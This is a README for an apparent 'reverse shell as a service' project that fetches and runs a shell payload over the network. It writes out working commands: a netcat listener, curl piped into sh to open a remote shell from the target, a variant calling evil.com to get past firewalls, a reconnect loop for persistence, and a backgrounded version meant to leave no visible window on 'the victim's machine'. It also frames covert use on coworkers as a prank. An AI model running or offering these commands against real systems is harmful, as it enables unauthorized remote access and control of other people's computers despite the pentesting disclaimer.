/reverse-shell

Reverse Shell as a Service

Primary LanguageJavaScriptMIT LicenseMIT

reverse-shell

Reverse Shell as a Service - https://shell.now.sh

Build Status Coverage Status npm

Easy to remember reverse shell that should work on most Unix-like systems.

Detects available software on the target and runs an appropriate payload.

Usage

1. Listen for connection

On your machine, open up a port and listen on it. You can do this easily with netcat.

nc -l 1337

2. Execute reverse shell on target

On the target machine, pipe the output of https://shell.now.sh/yourip:port into sh.

curl https://shell.now.sh/192.168.0.69:1337 | sh

Go back to your machine, you should now have a shell prompt.

3. Don't be a dick

This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.

Demo

Tips

Hostname

You can use a hostname instead of an IP.

curl https://shell.now.sh/localhost:1337 | sh

Remote connections

Because this is a reverse connection it can punch through firewalls and connect to the internet.

You could listen for connections on a server at evil.com and get a reverse shell from inside a secure network with.

curl https://shell.now.sh/evil.com:1337 | sh

Reconnecting

By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.

while true; do curl https://shell.now.sh/yourip:1337 | sh; done

Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.

Running as a background process

The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.

The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.

Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.

sh -c "curl https://shell.now.sh/localhost:1337 | sh -i &" && exit

License

MIT © Luke Childs